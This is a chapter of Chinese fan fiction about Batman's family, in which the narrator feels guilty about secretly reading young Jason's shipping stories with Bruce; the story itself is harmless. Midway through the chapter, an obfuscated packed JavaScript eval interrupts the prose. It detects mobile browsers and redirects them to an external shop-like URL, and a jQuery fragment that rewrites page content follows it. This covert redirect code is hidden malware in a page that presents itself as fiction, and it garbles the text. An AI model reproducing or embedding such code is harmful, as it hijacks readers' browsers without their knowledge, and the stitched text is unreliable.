又一个晚上,我躺在床上,继续我的胡思乱想。
一如往常,杰森离开前,塞给我最新一叠稿子,说“你看看这段,明天告诉我感觉”。
语气像是循循善诱的大灰狼,但我对于做不做那只开门的兔子还有很深的疑虑——比如被达米安和提姆发现后怎么办。
当然,我现在知道了,他们大概早就发现了。
不仅发现了,还在暗中追更。
想到这里,我的心虚又加重了几分。我当然不是门后面一无所知的兔子,我居然是一个演技高超的、伪装成兔子的猎人!还和其他猎人约定好了,只待大灰狼傻乎乎地自己送上门。
太卑鄙了!我怎么这么坏呀!
……不对,我为什么要心虚?又不是我写的,也不是我要求的!我只是一个被强行塞稿的无辜读者!一个被迫参与讨论的、善良的、不忍心打击朋友热情的、无辜的旁观者!
……好吧,这个借口在“杰森阅读小组”成立之后,好像就不太站得住脚了。
我翻了个身,把脸埋进枕头里。
布鲁斯说“你不想看看我们家的大文豪的成名之路吗”的时候,我明明可以拒绝的。我明明可以义正词严地说“我不想参与这种欺骗杰森的活动”。我明明可以做一个正直的人、一个高尚的人、一个脱离了低级趣味的人——
但我没有。
我不仅没有拒绝,还主动提出了要“同步看”。
我还和布鲁斯握了手,像两个共谋犯一样,在深夜里签订了那份见不得光的神圣契约。
我是怎么走到这一步的?
良心在滴血,真的在滴血。我甚至能感觉到它在胸腔里打滚、抽搐、发出无声的哀嚎。
“艾格尼斯·巴贝尔,”我的良心无比失望地说,“你居然和蝙蝠侠一起欺骗一个十二岁的孩子。你还是人吗?”
“我只是在看同人文!”我在心里反驳,“我又没做什么伤天害理的事!”
“你看同人文的方式是背着他看!是他不知道的!你还在他的文章里挑错别字!你还在背后评价他的文笔!你和他的养父组成了一个秘密小组,专门品鉴他的作品!你还管这叫‘阅读小组’?!”
“那是布鲁斯起的名字!”
“你答应了!”
“我——”
“你甚至在帮他校对!”
“那是——那是品鉴!是艺术指导!是为了帮助他成长!”
“你连署名都不敢。”
我的良心一句话把我噎死了。
是的,我不敢署名。我甚至不敢让杰森知道我在看他的网上连载。我现在在杰森面前的身份,还是那个“只看过笔记本的、善良的、天真的、被他的‘证据’说服的、无辜的、总之一切美好但和我不沾边的词语形容的读者”。
我叹了口气,看向那叠稿子。
我没看,我没敢看。
我怕看了之后,自己彻底沦陷。
——这就是CP的魔力吗?还是杰森的本事?
——明明知道是假的,还是忍不住上头。
我任命般叹了口气,拿起稿子。
标题:《如果有一天你不在》
【他从来没有想过这个问题。
他不在的时候,会是什么样子?
他试着想象。
他旁边没有人,咖啡不用准备两份,文件不用提前发。
走廊上,身后没有脚步声。转角处,没有人等他。
深夜,书房只有他一个人。灯亮着,但没有人端着咖啡推门进来。
他试着想象。
然后他放弃了。
因为他发现,他想象不出来。
那个人,从一开始就在。
从他被带进这个家的第一天起,他就一直在。
他从来没有想过,如果有一天他不在,他会变成什么样子。
——他不敢想。】
……下次还是教教杰森怎么起名吧,就这么随便截一句话就当标题也不是个事。当然我自己也不怎么样,写短篇都是什么《N次……,一次……》之类烂大街的。
不过这次的片段确实让我想起主世界的达米安和提姆。
达米安嘴上从不承认,但他每次出任务回来,第一个问的是“德雷克呢”,然后迫不及待开启互相嘲讽和比较。提姆每次熬夜,桌上都会多一杯温度刚好的咖啡——没人知道是谁放的,但会往里面投毒做耐药训练的就那么一个呢(摊手)。
他们从来没说过那些话,我是指直接——比起语言,直接对打是他们更加中意的相处方式。尽管达米安年岁渐长身量像吃了金坷垃一样猛蹿,“肢体接触”的激烈程度也随之逐年下降,但更多时候他们的针锋相对都像是例行惯例一样随意而平淡,仿佛少了这一部分都像是生命不完整。
这么说起来,他们做的那些事,和杰森写的,好像……也没差太多。
毕竟,这也算是另类的“恨比爱长久”。
我放下稿子,望着天花板。
——所以问题到底出在哪?
是杰森把兄弟情写成了爱情?
还是兄弟情和爱情,本来就没那么明显的界限?
——不对,我在想什么?!
我翻身坐起来,抱着膝盖,开始进行严肃的自我反省。
第一,我确实在帮布鲁斯“品鉴”杰森的作品。这本身没什么问题——布鲁斯是杰森的养父,他关心孩子的成长,这是很正常的。
第二,我没有主动欺骗杰森。我只是……没有告诉他全部真相。这是善意的隐瞒,是为了保护他的创作热情。
第三,我……
我的良心又开始抽搐了。这和到网上问有什么借口可以吃养了几年的羊还能良心上过得去一样惺惺作态!
“你连自己都骗不了。”良心说。
“……雪豹闭嘴。”
我重新躺回床上,盯着天花板。
窗外的月光透过窗帘的缝隙漏进来,在天花板上画出一道细细的白线。
真是令人心旷神怡的美景呢,起码对于我是的。
艾格尼斯,好不容易重来一回,还用有了视力,想想看,你最初的心愿呢,现在的结果呢?
悲剧还没改变,正轨还没走上,我先走上了“和蝙蝠侠合起伙来欺骗十二岁小孩”的不归路。
这就是穿越者的宿命吗?
我闭上眼睛。
算了。
至于良心——
良心这种东西,在哥谭生活久了,大概都会自动休眠的吧。
……大概。
————
第二天早上,杰森又准时出现在我床边。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454795|201214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这几天他起早贪黑地为米提CP拉磨,敬业程度堪比蝙蝠侠——不,比蝙蝠侠还敬业。蝙蝠侠好歹还会休息休息看看他的同人,而杰森的黑眼圈已经快掉到下巴了。
“怎么样怎么样?昨晚那章看了吗?”
他蹲在我床边,两只手扒着床沿,眼睛亮得像两颗灯泡。
我看着他,忽然觉得良心又疼了一下。
这孩子不知道,,他最好的朋友已经在他的文章里挑出了十七个错别字、三个逻辑漏洞和一处人物OOC。
他什么都不知道。
他只是一个单纯的、热情的、满脑子狗血爱情故事的十二岁小孩。
而他的朋友——我——正在和黑漆漆合起伙来骗他。
“艾格?”杰森在我面前挥了挥手,“你发什么呆?看了吗看了吗?”
“……看了。”我听见自己说,声音平静得像什么事都没有。
良心又在滴血了。
“感觉怎么样!”杰森的眼睛又亮了几分,像是叼着纸巾回来的小小猫,等着主人奖励。
“真棒!”
杰森激动得差点蹦起来:“是吧是吧!我也最喜欢那段!那种‘已经习惯了他在身边,无法想象没有他的日子’的感觉——”
“嗯。”我点头,脸上挂着温和的微笑。
我对不起你!杰森。
“那你现在相信他们俩有一腿了吗?”
我叹了口气。
我已经深刻明白了当年蝙蝠们的心情——甚至杰森嗑的CP里还不包括布鲁斯,但抓马程度一点也不少。
“……我不知道。”我说。
杰森愣住了:“不知道?!”
“我不知道他们是不是有一腿。”我说,尽量让自己的声音听起来正常,“但我知道,你写得挺好的。”
“所以……你是在嗑,还是不嗑?”
“我在……嗑你写的东西。”我说。
“那不就是嗑他们俩吗?”
我急忙辩解:“不是!我是嗑你写的他们俩。真实的他们俩,我不知道。”
杰森皱眉:“有区别吗?”
“……有啊。区别是,我知道你写的可能是假的,但我还是觉得好看。”
杰森愣了三秒。
然后他笑了。
那笑容,灿烂得像个真的十二岁孩子——他本来就是。
“行。”他说,“那你就嗑我写的。反正我写的,绝对比真的还真!”
我看着他,只是轻轻“嗯”了一声。
嗯,嗑CP——还真就是喜欢笔下的,不是真实的——这我太有经验了!
“……杰森。”
“嗯?”
“我会永远支持你的!”
就像你以前偷偷给我从外面偷渡绝版蝙布本子进韦恩庄园一样!
……不对,那个“你”不是这个“你”,但意思到了就行。
杰森的耳朵红得要滴血。
他低着头,把稿子收起来,小声说:
“……那你还想看吗?”
我看着他。
看着这个十二岁的、满脑子狗血爱情故事的、坚信自己在记录真相的、正义感爆棚的小孩。
“……想看。”我说。
杰森抬起头,眼睛亮得像星星。
“那我马上就写!”